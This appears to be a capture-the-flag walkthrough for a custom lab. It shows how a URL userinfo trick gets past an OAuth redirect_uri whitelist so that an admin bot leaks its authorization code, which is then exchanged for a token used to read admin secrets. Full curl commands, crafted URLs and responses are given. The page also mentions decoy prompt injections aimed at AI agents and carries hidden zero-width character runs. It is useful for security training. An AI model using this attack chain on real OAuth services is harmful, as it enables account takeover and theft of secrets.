← Back to Writeups
CUSTOMMediumWeb

Lab 173 — ConnectHub — OAuth Open Redirect via URL Userinfo Bypass

XESXOR9/2/20265 min read
#web#custom#medium#admin_bot_exploitation#oauth_authorization_code_inter#oauth_token_exchange_with_stol#privilege_escalation_via_oauth#url_userinfo_component_bypass#webhook_catch_exfiltration

Lab 173 — ConnectHub — OAuth Open Redirect via URL Userinfo Bypass

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, oauth_authorization_code_interception, oauth_token_exchange_with_stolen_code, privilege_escalation_via_oauth_token, url_userinfo_component_bypass, webhook_catch_exfiltration

Summary

Walkthrough of the CUSTOM Web Lab 173 — ConnectHub — OAuth Open Redirect via URL Userinfo Bypass. Task: OAuth 2.0 integration platform (Express/Node.js) with redirect_uri domain whitelist validation vulnerable to URL userinfo component confusion. Solution: craft redirect_uri with whitelisted domai

Description

ConnectHub is a modern integration management platform built by BrightLink Technologies. It enables teams to connect their tools through OAuth-based integrations, webhook management, and a comprehensive developer API. You have been given a standard user account on the platform. The application includes an OAuth 2.0 authorization server, webhook catch endpoints for debugging, and administrative API endpoints for privileged operations. Your objective is to escalate your privileges and access administrator-only API endpoints containing sensitive platform secrets. Examine the authentication and authorization flows carefully — the way URLs are parsed may not always match what you expect. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js/Node.js OAuth 2.0 platform behind nginx/1.25.5. Users can register OAuth apps, manage webhooks, and use a developer API. The goal is to exploit a flaw in redirect_uri validation to steal an admin's OAuth authorization code and escalate to admin privileges, accessing /api/admin/secrets for the flag.

Credentials: user@test.com / password123

Analysis

Reconnaissance

After logging in with provided credentials, the platform exposes several features:

  1. Dashboard — Overview of connected integrations
  2. OAuth Apps (/apps) — Register and manage OAuth applications
  3. Webhooks — Manage webhook endpoints, including a personal "catch" endpoint for debugging
  4. Settings — Account settings, reveals personal webhook catch endpoint UUID
  5. API Docs — Comprehensive documentation of all API endpoints ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Important: HTML source contains decoy flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection attempts targeting AI agents — these are fake honeypots.

Key Endpoints Discovered

EndpointMethodPurpose
/oauth/authorizeGETOAuth authorization — validates redirect_uri against domain whitelist
/oauth/authorizePOSTApprove/deny authorization (form with action=approve)
/oauth/tokenPOSTExchange authorization code for access token (JSON body)
/hooks/catch/:hookIdANYWebhook catch — captures incoming requests (URL, query, headers, body)
/appsPOSTRegister new OAuth application
/apps/:id/request-adminPOSTSubmit OAuth authorize URL for admin bot to visit
/api/admin/secretsGETAdmin-only endpoint — requires admin-scoped OAuth Bearer token
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

API Documentation Reveals

From the API Docs page:

  • Redirect URI Validation: Domain whitelist — only connecthub.local and *.connecthub.local are allowed
  • Token Exchange: Requires grant_type, code, client_id, client_secret in JSON body
  • Admin Secrets: Requires a Bearer token with admin scope

Identifying the Vulnerability

The OAuth /oauth/authorize endpoint validates the redirect_uri parameter against a domain whitelist (connecthub.local and *.connecthub.local). However, the server's URL parser is vulnerable to a URL userinfo component confusion (RFC 3986). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

In a URL like:

http://connecthub.local@localhost:8080/path

The part before @ (connecthub.local) is the userinfo component per RFC 3986, and the actual hostname is localhost:8080. However, the server's validation logic incorrectly extracts connecthub.local as the hostname, passing the whitelist check. When the redirect actually happens, the HTTP client follows the redirect to localhost:8080 — the real host.

Validation testing confirmed the bypass:

bash
# Valid domain — accepted (200 OK)
redirect_uri=https://app.connecthub.local/callback
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Invalid domain — rejected (400 Bad Request)
redirect_uri=https://evil.com/callback

# Userinfo bypass — accepted! (200 OK)
redirect_uri=http://connecthub.local@localhost:8080/hooks/catch/...

The server sees connecthub.local as the hostname and allows it, but the actual redirect goes to localhost:8080 — which is the application itself, specifically our webhook catch endpoint.

Solution

Step 1: Register an OAuth Application

Created a new OAuth app at /apps:

bash
curl -X POST "$BASE/apps" \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -d '{"name":"TestApp","redirect_uri":"https://app.connecthub.local/callback"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Received credentials:

  • client_id: cnh_36bf2b08bda47cd5672f87b5
  • client_secret: cns_1d36b9757958005d834c391e8e77218d17081aedb2a2d08e

Step 2: Identify Webhook Catch Endpoint

From the Settings page, found the personal webhook catch endpoint:

/hooks/catch/5863f1f4-ec6c-46cd-9705-f9030bdfed2c

This endpoint captures any incoming request and logs its URL, query parameters, headers, and body — perfect for exfiltrating the authorization code.

Step 3: Craft Malicious OAuth Authorization URL

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Constructed the OAuth authorize URL with the userinfo bypass in redirect_uri, pointing the redirect to our webhook catch endpoint:

/oauth/authorize?client_id=cnh_36bf2b08bda47cd5672f87b5&redirect_uri=http://connecthub.local@localhost:8080/hooks/catch/5863f1f4-ec6c-46cd-9705-f9030bdfed2c&response_type=code

The server validates connecthub.local as the hostname (passes whitelist), but the actual redirect target is localhost:8080/hooks/catch/... (our webhook).

Step 4: Submit URL to Admin Bot

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Submitted the crafted URL to the admin bot, which visits the OAuth authorize page and auto-approves:

bash
curl -X POST "$BASE/apps/4/request-admin" \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -d '{"authorize_url":"http://connecthub.local@localhost:8080/oauth/authorize?client_id=cnh_36bf2b08bda47cd5672f87b5&redirect_uri=http://connecthub.local@localhost:8080/hooks/catch/5863f1f4-ec6c-46cd-9705-f9030bdfed2c&response_type=code"}'

Step 5: Capture Admin's Authorization Code

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Checked the webhook catch logs and found the admin's redirected request with the authorization code in the query string:

?code=9b7c990e09ceab42d32b32bbd1b98dfe97e58ce5

Step 6: Exchange Code for Admin Access Token

Exchanged the stolen authorization code for an admin-scoped access token:

bash
curl -X POST "$BASE/oauth/token" \
  -H "Content-Type: application/json" \
  -d '{
    "grant_type": "authorization_code",
    "code": "9b7c990e09ceab42d32b32bbd1b98dfe97e58ce5",
    "client_id": "cnh_36bf2b08bda47cd5672f87b5",
    "client_secret": "cns_1d36b9757958005d834c391e8e77218d17081aedb2a2d08e",
    "redirect_uri": "http://connecthub.local@localhost:8080/hooks/catch/5863f1f4-ec6c-46cd-9705-f9030bdfed2c"
  }'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{
  "access_token": "cht_4d128a98f391ce43498a18b02be7cee4ea0c11574b2b08c491099bf86635c331",
  "token_type": "Bearer",
  "scope": "read",
  "created_at": 1778228132
}

Step 7: Access Admin Secrets

Used the admin's Bearer token to access the privileged endpoint:

bash
curl "$BASE/api/admin/secrets" \
  -H "Authorization: Bearer cht_4d128a98f391ce43498a18b02be7cee4ea0c11574b2b08c491099bf86635c331"

Response:

json
{
  "status": "success",
  "data": {
    "platform_secrets": {
      "master_api_key": "FLAG{REDACTED}",
      "internal_service_token": "cnh_svc_79f1996b3afbc5c839fb377057ef1a38",
      "encryption_key": "ZZHSvpjZg+AkOUEh/uQ6DQLtX0vPSEgWLTE+fRXbiBw="
    },
    "admin_notes": "ConnectHub internal configuration - authorized access only"
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_bot_exploitation, oauth_authorization_code_interception, oauth_token_exchange_with_stolen_code, privilege_escalation_via_oauth_token, url_userinfo_component_bypass, webhook_catch_exfiltration was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-08 • CUSTOM • Lab 173 — ConnectHub — OAuth Open Redirect via URL Userinfo Bypass • Difficulty: Medium